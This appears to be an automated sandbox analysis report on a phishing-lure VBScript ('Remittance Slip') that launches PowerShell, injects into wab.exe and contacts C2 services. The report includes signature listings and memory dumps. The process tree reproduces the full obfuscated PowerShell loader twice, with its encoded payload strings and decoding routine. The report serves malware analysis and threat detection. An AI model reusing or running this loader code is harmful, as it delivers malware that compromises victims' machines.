Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/07/2026, 11:25
General
- Target Remittance Slip 120,950USD.vbs
- Size 26KB
- Sample260717-njgbvadw8t
- SHA256 8765f214c14f45783e4e25d808f87a84cdfebebfb5e3480f4e44f043f2d00713
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Remittance Slip 120,950USD.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $pamphiliidae = Get-Date; [void]$pamphiliidae };Get-Service | Out-Null;$equipoise=-44075+44075;Get-Host | Select-Object -First 1 | Out-Null;$overprovidentness228eholdningsopdeling=-8739+14739;function WobblyZonk { $overprovidentness228loomerism = Get-Random; [void]$overprovidentness228loomerism };function diplomatarierne ($overprovidentness228angebukss,$overprovidentness228) {$ramble = 'nonsense';$vitrescibility=rrfabriks(@(101,209,229,211,224,213,228,216,228,208,165,199,221,226,220,202,229,220,160,153,121,195,221,213,211,199,231,212,225,218,110,196,231,221,224,141,150,216,228,204,179,210,225,221,228,206,214,206,220,219,175,199,226,225,160,151,170,146)) ;Strathspeys ($vitrescibility);$tubeful = 'random'}function FloopZib { $politiinspektr = 'test'; [void]$politiinspektr };function rrfabriks ($videoafspillers) { $paaskrift = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$overprovidentness228eholdningsopdeling=$equipoise%10;$videoafspillers[$equipoise]-=$kongerkke[$overprovidentness228eholdningsopdeling];$overprovidentness228loomerism = 'zazz';$overprovidentness228eholdningsopdeling=[char]$videoafspillers[$equipoise];$gste+=$overprovidentness228eholdningsopdeling;$equipoise++} while ($videoafspillers[$equipoise])$hundetegn = 'glorp' | Out-Null;$gste}function Strathspeys ($gp) {[void](Get-Service);&($zonula) $gp}Function Sofacyklens ($videoafspillers,$erastian=0){$pamphiliidae = 'frob' | Out-Null;$indgreb=rrfabriks(@(156,165,222,220,228,202,228,221,203,161,123,168,225,221,219,167,211,220,211,157,117,181,227,224,215,211,217,145,146,221,170,198,212,221,207,203,229,217,215,211,173,199,225,225,151));$stoftilfrslernes=@(Strathspeys ($indgreb));[void](Get-Date);For($ypperligst=0; $stoftilfrslernes[$ypperligst] -ne $alliums; $ypperligst++){$stoftilfrslernes[$ypperligst] = diplomatarierne $stoftilfrslernes[$ypperligst] $kongerkke[$ypperligst%10];$politiinspektr = 'zib'}$choosy=rrfabriks(@(110,204,222,215,220,133,205,204,214,200,179,189,204,203,146,216,230,216,212,219,170,206,213,224,225,209,215,219,220,204,180));[void](Get-Host);$gilmore=Strathspeys ($choosy);if ($erastian) { $opvokser = 'blap' | Out-Null;Strathspeys $gilmore}else {;[void](Get-Process);$gilmore}$paaskrift = 'frob' | Out-Null}$kongerkke=@(65,98,111,110,110,101,114,105,110,103);[void](Get-Date);$zonula=rrfabriks @(138,167,199);$vrng='\Sjippetovenes45.Pse';$pamphiliidae = 'quib' | Out-Null;$sendemandens=Sofacyklens 'dExfTkYyGwcKCDYRTyA6RUNZQFd6QjgHAFNGUk4fd1ZUThwTSFhbVW9SRk4pABECAUhzUl5eXlRCWE4hKBAKCAEdXVhbVW9S';$rerolling=Sofacyklens 'KRYbHh1fXUYKFSgUCkAJCh0OAgJvAQADQRARVgsfMQ0dGlMBHR4ACy4DC0gHAU9YVwkxDywMJSYDOhkCJSomW1dIKAUhPTEpJRkMPQdaWBU=';[void](Get-Host);$overprovidentness228angebukssphthartodocetic=Sofacyklens 'DBEXAwJXXDoLFTcHHTYjKTo9OjdvVEFe';$rekonfigurationernes=Sofacyklens 'Bic7';$hundetegn = 'glorp' | Out-Null;$cloudlessness=Sofacyklens 'FBEKHEMkFQwAEw==';$forstves=Sofacyklens 'fw==';[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMIDi0PBAEAFgcFCwk1BwEdU0EXBxhdIBIfCg8RE0JKETMMCA==' 1;Sofacyklens 'ZQUDAQwEHlMdEjEQDgMLCwYIAlplEAocAQkeAAAAbxEfAgcRWk0ICDMRGxgLFls=' 1;$ramble = 'nonsense' | Out-Null;$rerolling=$supramental[0];Sofacyklens 'ZQUDAQwEHlMaDiURHAUcDBQdHRQgDwMHAAIXGwACfCwKGUMqEAMLBDVCQi0BCFJNAREkEB8cARMbDQsJNQwKHR1XQFEPCSYHDRsFFgEZBhMpAx0aAQEdCgsTKAE=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1;while (!$moyen147) {$tubeful = 'random' | Out-Null;Sofacyklens 'ZQUDAQwEHlMhHykDHRwBEk9NGhU0Bw==' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAARUXB0ZDMwcEAQADGw4bFSAWBgEAAAAHCxRtQkscCxcdBQIOLwVDTkoDEwUdAmg=' 1;[void](Get-Host);Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAGOwsWNAccGiYAEw0LFWlGDAIBEBYFCxQyDAodHUlSTR0CLwYKAw8LFgwAFGg=' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAcDUZO' 1;$paaskrift = 'frob' | Out-Null;Sofacyklens 'ZQUDAQwEHlMMFTgOAxseFh8ACgMgBVpTShEbDR0UKhAGCBoWAQgDCygMCAscCxdHHRMgFhodTkgXGE5VcVI=' 1;if ($bryllupsmiddag5) {[void](Get-Process);Sofacyklens 'GgAWGgs+LzRKAC0NDQ8CXx0fCxUtAxcPGgwEDFxXeF9LGgcBARoFFSgEGx0dBB8FBwkmBx0AC0sADB0XLgwcCywKFhA=' 1;Sofacyklens 'MgFPSggMHgQFCC8RGgILCwYMABRhRgAYCxceCBYGNQsZC1xVS0lDIi8BAAoHCxVJLB41Bw==' 1;$overprovidentness228loomerism = 'zazz' | Out-Null} Sofacyklens 'Eg4KCx5NRkA=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1 ;Sofacyklens 'ZQUDAQwEHlMBFzIJHRsADBwOCwkyX0sJAgoQCAJdMgMCDA8XE0JFQmURGh4cBB8MABMgDkENARAcHQ==' 1;$politiinspektr = 'zib' | Out-Null;$rerolling=$supramental[$opskruningens]}[void](Get-Host);$hained=145995;$neonlysskiltets=20193;$opvokser = 'blap' | Out-Null;Sofacyklens 'ZQUDAQwEHlMPATUOAwcAAhcbUwAiQksIBwkfAgEJMhcDCwARFwcd' 1;Sofacyklens 'ZQUDAQwEHlMtBjMHCRwLABwMHRR8OSwBABMXGxo6e1gpHAEIMAgdAndWPBocDBwORkMgBBsCAgwcDgsVaA==' 1;[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMNFSARBwcAAh4QUzwVBxcaQCAcCgEDKAwIM1RfMzotLghMKAsaNgYbBwkmSkstDxcXDxwCJAwKHR1M' 1;Sofacyklens 'ZQUDAQwEHlMNCC8WHQEYAAAaF1ZxU1JKDRcTGgYOLwUDF0AWBwsdEzMLAQlGQRoIBwkkBkNKAAAdBwIeMhEEBwIRFx0dTg==' 1;$ramble = 'nonsense' | Out-Null;Strathspeys $controversy101;function BlippoZazz { $paaskrift = Get-Random; [void]$paaskrift };;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $pamphiliidae = Get-Date; [void]$pamphiliidae };Get-Service | Out-Null;$equipoise=-44075+44075;Get-Host | Select-Object -First 1 | Out-Null;$overprovidentness228eholdningsopdeling=-8739+14739;function WobblyZonk { $overprovidentness228loomerism = Get-Random; [void]$overprovidentness228loomerism };function diplomatarierne ($overprovidentness228angebukss,$overprovidentness228) {$ramble = 'nonsense';$vitrescibility=rrfabriks(@(101,209,229,211,224,213,228,216,228,208,165,199,221,226,220,202,229,220,160,153,121,195,221,213,211,199,231,212,225,218,110,196,231,221,224,141,150,216,228,204,179,210,225,221,228,206,214,206,220,219,175,199,226,225,160,151,170,146)) ;Strathspeys ($vitrescibility);$tubeful = 'random'}function FloopZib { $politiinspektr = 'test'; [void]$politiinspektr };function rrfabriks ($videoafspillers) { $paaskrift = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$overprovidentness228eholdningsopdeling=$equipoise%10;$videoafspillers[$equipoise]-=$kongerkke[$overprovidentness228eholdningsopdeling];$overprovidentness228loomerism = 'zazz';$overprovidentness228eholdningsopdeling=[char]$videoafspillers[$equipoise];$gste+=$overprovidentness228eholdningsopdeling;$equipoise++} while ($videoafspillers[$equipoise])$hundetegn = 'glorp' | Out-Null;$gste}function Strathspeys ($gp) {[void](Get-Service);&($zonula) $gp}Function Sofacyklens ($videoafspillers,$erastian=0){$pamphiliidae = 'frob' | Out-Null;$indgreb=rrfabriks(@(156,165,222,220,228,202,228,221,203,161,123,168,225,221,219,167,211,220,211,157,117,181,227,224,215,211,217,145,146,221,170,198,212,221,207,203,229,217,215,211,173,199,225,225,151));$stoftilfrslernes=@(Strathspeys ($indgreb));[void](Get-Date);For($ypperligst=0; $stoftilfrslernes[$ypperligst] -ne $alliums; $ypperligst++){$stoftilfrslernes[$ypperligst] = diplomatarierne $stoftilfrslernes[$ypperligst] $kongerkke[$ypperligst%10];$politiinspektr = 'zib'}$choosy=rrfabriks(@(110,204,222,215,220,133,205,204,214,200,179,189,204,203,146,216,230,216,212,219,170,206,213,224,225,209,215,219,220,204,180));[void](Get-Host);$gilmore=Strathspeys ($choosy);if ($erastian) { $opvokser = 'blap' | Out-Null;Strathspeys $gilmore}else {;[void](Get-Process);$gilmore}$paaskrift = 'frob' | Out-Null}$kongerkke=@(65,98,111,110,110,101,114,105,110,103);[void](Get-Date);$zonula=rrfabriks @(138,167,199);$vrng='\Sjippetovenes45.Pse';$pamphiliidae = 'quib' | Out-Null;$sendemandens=Sofacyklens 'dExfTkYyGwcKCDYRTyA6RUNZQFd6QjgHAFNGUk4fd1ZUThwTSFhbVW9SRk4pABECAUhzUl5eXlRCWE4hKBAKCAEdXVhbVW9S';$rerolling=Sofacyklens 'KRYbHh1fXUYKFSgUCkAJCh0OAgJvAQADQRARVgsfMQ0dGlMBHR4ACy4DC0gHAU9YVwkxDywMJSYDOhkCJSomW1dIKAUhPTEpJRkMPQdaWBU=';[void](Get-Host);$overprovidentness228angebukssphthartodocetic=Sofacyklens 'DBEXAwJXXDoLFTcHHTYjKTo9OjdvVEFe';$rekonfigurationernes=Sofacyklens 'Bic7';$hundetegn = 'glorp' | Out-Null;$cloudlessness=Sofacyklens 'FBEKHEMkFQwAEw==';$forstves=Sofacyklens 'fw==';[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMIDi0PBAEAFgcFCwk1BwEdU0EXBxhdIBIfCg8RE0JKETMMCA==' 1;Sofacyklens 'ZQUDAQwEHlMdEjEQDgMLCwYIAlplEAocAQkeAAAAbxEfAgcRWk0ICDMRGxgLFls=' 1;$ramble = 'nonsense' | Out-Null;$rerolling=$supramental[0];Sofacyklens 'ZQUDAQwEHlMaDiURHAUcDBQdHRQgDwMHAAIXGwACfCwKGUMqEAMLBDVCQi0BCFJNAREkEB8cARMbDQsJNQwKHR1XQFEPCSYHDRsFFgEZBhMpAx0aAQEdCgsTKAE=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1;while (!$moyen147) {$tubeful = 'random' | Out-Null;Sofacyklens 'ZQUDAQwEHlMhHykDHRwBEk9NGhU0Bw==' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAARUXB0ZDMwcEAQADGw4bFSAWBgEAAAAHCxRtQkscCxcdBQIOLwVDTkoDEwUdAmg=' 1;[void](Get-Host);Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAGOwsWNAccGiYAEw0LFWlGDAIBEBYFCxQyDAodHUlSTR0CLwYKAw8LFgwAFGg=' 1;Sofacyklens 'ZRYGCh0WGRsHATURHA8DCRsHCQIzDApAHQAcDUZO' 1;$paaskrift = 'frob' | Out-Null;Sofacyklens 'ZQUDAQwEHlMMFTgOAxseFh8ACgMgBVpTShEbDR0UKhAGCBoWAQgDCygMCAscCxdHHRMgFhodTkgXGE5VcVI=' 1;if ($bryllupsmiddag5) {[void](Get-Process);Sofacyklens 'GgAWGgs+LzRKAC0NDQ8CXx0fCxUtAxcPGgwEDFxXeF9LGgcBARoFFSgEGx0dBB8FBwkmBx0AC0sADB0XLgwcCywKFhA=' 1;Sofacyklens 'MgFPSggMHgQFCC8RGgILCwYMABRhRgAYCxceCBYGNQsZC1xVS0lDIi8BAAoHCxVJLB41Bw==' 1;$overprovidentness228loomerism = 'zazz' | Out-Null} Sofacyklens 'Eg4KCx5NRkA=' 1;[void](Get-Date);Sofacyklens 'ZQUDAQwEHlMDCDgHAV9aUk9BOgIyFkI+DxEaSUoBKA4CBQELARwCAi8WCgAdTA==' 1 ;Sofacyklens 'ZQUDAQwEHlMBFzIJHRsADBwOCwkyX0sJAgoQCAJdMgMCDA8XE0JFQmURGh4cBB8MABMgDkENARAcHQ==' 1;$politiinspektr = 'zib' | Out-Null;$rerolling=$supramental[$opskruningens]}[void](Get-Host);$hained=145995;$neonlysskiltets=20193;$opvokser = 'blap' | Out-Null;Sofacyklens 'ZQUDAQwEHlMPATUOAwcAAhcbUwAiQksIBwkfAgEJMhcDCwARFwcd' 1;Sofacyklens 'ZQUDAQwEHlMtBjMHCRwLABwMHRR8OSwBABMXGxo6e1gpHAEIMAgdAndWPBocDBwORkMgBBsCAgwcDgsVaA==' 1;[void](Get-Process);Sofacyklens 'ZQUDAQwEHlMNFSARBwcAAh4QUzwVBxcaQCAcCgEDKAwIM1RfMzotLghMKAsaNgYbBwkmSkstDxcXDxwCJAwKHR1M' 1;Sofacyklens 'ZQUDAQwEHlMNCC8WHQEYAAAaF1ZxU1JKDRcTGgYOLwUDF0AWBwsdEzMLAQlGQRoIBwkkBkNKAAAdBwIeMhEEBwIRFx0dTg==' 1;$ramble = 'nonsense' | Out-Null;Strathspeys $controversy101;function BlippoZazz { $paaskrift = Get-Random; [void]$paaskrift };;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_woy0lche.mkq.ps1
Sjippetovenes45.Pse
memory/4260-39-0x0000000007390000-0x00000000073B2000-memory.dmp
memory/4260-35-0x0000000006190000-0x00000000061AE000-memory.dmp
memory/4260-44-0x0000000022E40000-0x0000000024C4C000-memory.dmp
memory/4260-41-0x00000000085A0000-0x0000000008C1A000-memory.dmp
memory/4260-21-0x0000000002860000-0x0000000002896000-memory.dmp
memory/4260-22-0x0000000005350000-0x0000000005978000-memory.dmp
memory/4260-23-0x00000000052D0000-0x00000000052F2000-memory.dmp
memory/4260-24-0x00000000059F0000-0x0000000005A56000-memory.dmp
memory/4260-25-0x0000000005A60000-0x0000000005AC6000-memory.dmp
memory/4260-33-0x0000000005B80000-0x0000000005ED4000-memory.dmp
memory/4260-40-0x0000000007970000-0x0000000007F14000-memory.dmp
memory/4260-38-0x00000000066C0000-0x00000000066DA000-memory.dmp
memory/4260-36-0x00000000061C0000-0x000000000620C000-memory.dmp
memory/4260-37-0x0000000006740000-0x00000000067D6000-memory.dmp
memory/4312-51-0x0000000000C10000-0x0000000001E64000-memory.dmp
memory/4544-14-0x00007FFAEC6A0000-0x00007FFAEC9F5000-memory.dmp
memory/4544-4-0x00007FFAEC6A0000-0x00007FFAEC9F5000-memory.dmp
memory/4544-13-0x0000012AA97D0000-0x0000012AA97F2000-memory.dmp
memory/4544-20-0x00007FFAEC6A0000-0x00007FFAEC9F5000-memory.dmp
memory/4544-5-0x00007FFAEC6A0000-0x00007FFAEC9F5000-memory.dmp
memory/4544-15-0x00007FFAEC6A0000-0x00007FFAEC9F5000-memory.dmp